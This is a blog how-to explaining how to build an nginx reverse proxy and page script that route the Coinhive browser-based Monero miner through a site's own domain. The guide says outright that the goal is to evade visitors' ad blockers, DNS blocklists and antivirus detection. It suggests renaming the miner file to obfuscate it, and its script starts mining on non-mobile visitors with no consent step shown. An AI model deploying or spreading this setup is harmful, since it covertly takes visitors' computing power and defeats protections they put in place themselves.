/ monero

howto: create a coinhive reverse proxy with nginx

in this guide i'll be showing you how to use the nginx webserver to create a reverse proxy that connects the coinhive javascript monero miner (frontend) to your very own nginx reverse proxy webserver (backend). the first question many people will ask is.. why?

so.. why? why would you need a reverse proxy for your coinhive .js miners? the main reason is availability: coinhive's servers are widely blocked by all of the standard ad blocking methods: dns solutions like pi-hole, browser solutions like ublock origin and even most major anti-virus solutions have been blocking both the javascript file's signature (coinhive.min.js/cryptonight.wasm) and in addition coinhive's ip/dns entries themselves as well. by using a reverse proxy you can modify coinhive.js to use the same domain name (for this guide: example.com) that your website is being hosted on to talk to the javascript frontend and in effect pass along those juicy hashes to coinhive's mining pool so you can recieve your sweet sweet XMR.

the first thing you are going to need to do is to install nginx. i'll assume you are familiar with linux and the basics of rolling your own vps / webserver instance. how this works is we are going to create a "snippet" or a small self-contained nginx config file. we can then include it in the config's for all of the websites we are going to be including our coinhive javascript miner on. luckily for you, i've done all the legwork and testing already so you can pretty much just copy and paste my solution and be off to the crypto-races, so to speak..

# ----------locations for coinhive websocket reverse proxying ---------------------

        location /00/proxy {
                proxy_set_header X-Forwarded-Proto $scheme;
                proxy_set_header X-Real-IP $remote_addr;
                proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
                proxy_http_version 1.1;
                proxy_set_header Upgrade $http_upgrade;
                proxy_set_header Connection "upgrade";
                rewrite  ^/00/proxy(.*)  /proxy$1 break;
                proxy_pass https://ws00.coinhive.com;
        }

the example above is how your coinhive.conf file is going to look. download the entire config file here: coinhive.conf and place it in /etc/nginx/snippets/coinhive.conf on your nginx webserver's filesystem.

before we procceed you MUST create a backup of your nginx server's configuration files. do this by running: tar cvpzf ~/nginx.config.bak.tgz /etc/nginx. if you screw anything up you can extract this backup file by running: tar xvf ~/nginx.config.bak.tgz and replacing /etc/nginx with the contents of the extracted archive. just trust me on this one.

next what you are going to need to do is to go to your nginx website's configuration directory in: /etc/nginx/sites-enabled . now, for each of the websites you want to enable the reverse proxying on you will need to edit the site's config file and add the following lines somewhere withing the server { } block. for example here is my: /etc/nginx/sites-enabled/example.com file

server {
        listen 80 http2;
        listen 443 ssl http2;
        ssl_certificate /etc/letsencrypt/live/example.com/fullchain.pem;
        ssl_certificate_key /etc/letsencrypt/live/example.com/privkey.pem;
        root /var/www/example.com/default;
        index index.html index.htm;
        server_name example.com .example.com;
        location / {
                try_files $uri $uri/ =404;
        }
# --------[add-this-to-your-site]-----------------
        include snippets/coinhive.conf;
# ------------------------------------------------
}

the part you are interested in is between the #--- commented parts: include snippets/coinhive.conf; this tell's nginx to include the config file we created earlier in: /etc/nginx/snippets/coinhive.conf in this server's configuration. if you only have one site you could essentially just paste the contents of coinhive.conf in to your site's config file (in the same area) and it will work all the same.

now before you do anything else, check to make sure nginx is happy about these changes by running: nginx -t. if you entered everything correctly (and the server gods are pleased today) it will report:

nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful

in general, if you are getting some kind of weird errors i would suggest removing the lines you added, checking by running nginx -t and then slowly adding the changes again. if you screwed up royally and do not know what to do then it's time to restore your config from the backup we created earlier (cd ~;tar xvf ~/nginx.config.bak.tgz;cp -rf ~/etc/nginx/ /etc/nginx;nginx -t) so you can try again with no downtime.

at this point we are done with configuring nginx as our reverse proxy server. you can check to see if everything is working by visiting one of the reverse proxy endpoints at https://example.com/00/proxy. it should either return:

{"success": false, "error": "bad_request", "code": 400, "msg": "Bad Request"}

or, even better: nothing at all (a blank page). if you get any other error then something in your configuration is most likely donk'd up. you will need to do some troubleshooting to figure out what that is, start by reviewing the log files in /var/log/nginx/ .

all good now? let's proceed! so the next step is to configure the frontend part of coinhive which consists of the monero javascript miner file coinhive.js. you can click that link for coinhive's documentation for interacting with the javascript miner. at the time i wrote this article there were 30 servers in coinhive's load-balanced server pool (hence the 30 reverse proxy directories) that look like: https://ws00.coinhive.com. it's possible that these may change one day (they have once before already), so if they do change you can modify /etc/nginx/snippets/coinhive.conf to reflect the new server addresses. what we are going to do here is add our reverse proxy endpoint so that it overwrite's the default one's which coinhive.js typically uses. here's how we do that:

<script type="text/javascript" src="coinhive.min.js"></script>
<script type="text/javascript">
        CN=CoinHive;
        var wLh=window.location.host, miner = new CoinHive.Anonymous('YOUR_SITE_KEY', {throttle: 0.75});
        if(location.protocol == 'https:') { CN.CONFIG.WEBSOCKET_SHARDS = [["wss://"+wLh+"/00/proxy","wss://"+wLh+"/01/proxy","wss://"+wLh+"/02/proxy","wss://"+wLh+"/03/proxy","wss://"+wLh+"/04/proxy","wss://"+wLh+"/05/proxy","wss://"+wLh+"/06/proxy","wss://"+wLh+"/07/proxy","wss://"+wLh+"/08/proxy","wss://"+wLh+"/9/proxy","wss://"+wLh+"/10/proxy","wss://"+wLh+"/11/proxy","wss://"+wLh+"/12/proxy","wss://"+wLh+"/13/proxy","wss://"+wLh+"/14/proxy","wss://"+wLh+"/15/proxy","wss://"+wLh+"/16/proxy","wss://"+wLh+"/17/proxy","wss://"+wLh+"/18/proxy","wss://"+wLh+"/19/proxy","wss://"+wLh+"/20/proxy","wss://"+wLh+"/21/proxy","wss://"+wLh+"/22/proxy","wss://"+wLh+"/23/proxy","wss://"+wLh+"/24/proxy","wss://"+wLh+"/25/proxy","wss://"+wLh+"/26/proxy","wss://"+wLh+"/27/proxy","wss://"+wLh+"/28/proxy","wss://"+wLh+"/29/proxy","wss://"+wLh+"/30/proxy"]]; } else { CN.CONFIG.WEBSOCKET_SHARDS = [["ws://"+wLh+"/00/proxy","ws://"+wLh+"/01/proxy","ws://"+wLh+"/02/proxy","ws://"+wLh+"/03/proxy","ws://"+wLh+"/04/proxy","ws://"+wLh+"/05/proxy","ws://"+wLh+"/06/proxy","ws://"+wLh+"/07/proxy","ws://"+wLh+"/08/proxy","ws://"+wLh+"/9/proxy","ws://"+wLh+"/10/proxy","ws://"+wLh+"/11/proxy","ws://"+wLh+"/12/proxy","ws://"+wLh+"/13/proxy","ws://"+wLh+"/14/proxy","ws://"+wLh+"/15/proxy","ws://"+wLh+"/16/proxy","ws://"+wLh+"/17/proxy","ws://"+wLh+"/18/proxy","ws://"+wLh+"/19/proxy","ws://"+wLh+"/20/proxy","ws://"+wLh+"/21/proxy","ws://"+wLh+"/22/proxy","ws://"+wLh+"/23/proxy","ws://"+wLh+"/24/proxy","ws://"+wLh+"/25/proxy","ws://"+wLh+"/26/proxy","ws://"+wLh+"/27/proxy","ws://"+wLh+"/28/proxy","ws://"+wLh+"/29/proxy","ws://"+wLh+"/30/proxy"]]; }

	if (!miner.isMobile()) {
		miner.start();
	}
    
	// Listen on events
	miner.on('found', function() { console.log('coinhive: found hash'); })
	miner.on('accepted', function() { console.log('coinhive: accepted hash'); })

	// Update stats once per second
	setInterval(function() {
		var hashesPerSecond = miner.getHashesPerSecond();
		var totalHashes = miner.getTotalHashes();
		var acceptedHashes = miner.getAcceptedHashes();
        console.log('coinhive: hashesPerSecond = '+hashesPerSecond+'.');
        console.log('coinhive: totalHashes = '+totalHashes+'.');
        console.log('coinhive: acceptedHashes = '+acceptedHashes+'.');
	}, 1000);
</script>

the first thing you should noticed about this example is that the included coinhive.min.js is hosted locally on your server. you will need to download the javascript file and host it somewhere on your webserver. this will allow you to bypass many of the ways it would normally be blocked by visitors. you can also rename it to whatever filename you like if you think that will help obfuscate it.

the second part you should notice is the long string after the variable "CN.CONFIG.WEBSOCKETSHARDS". this is where the magic happens. by settings this variable to window.location.host (aka. the domain example.com name your website is hosted on) you can tell coinhive to use your reverse proxy server instead of it's own servers by default. you can also explicity state which server to use by replacing var wLh = window.location.host; to: var wLh = "example.com";

create an example.html file somewhere on your webserver and include the above code, the downloaded copy of coinhive.min.js and any additional settings you can learn about from the coinhive javascript miner documentation. visit your example.html in your web browser and then open your browser's developer tools (typically by pressing F12). you should see something like this:

cn

if you see the above output then congrats, you have sucessfully completed this howto guide! you are now the proud owner of a shiny new custom made coinhive reverse proxy server! if not, follow these steps:

  1. bang head against wall.
  2. repeat step 1 until it works.

if you found this guide helpful please consider leaving me a tip. my integrated monero address is:

89ZJuDWTS6oTRHWanWwVks2vYrYXfCveG256xjrK6ziiGhF8wEDP8jRhq4Spw1Zp5xjaHNVmT1afp8sak42Juv4wNfVHKoM

i hope you found this how-to useful!

nick giotis

nick giotis

linux sysadmin/devops w/occasional moonlighting into netsec & full stack development 💯✝️🇺🇸🇬🇷🇮🇪🏴

Read More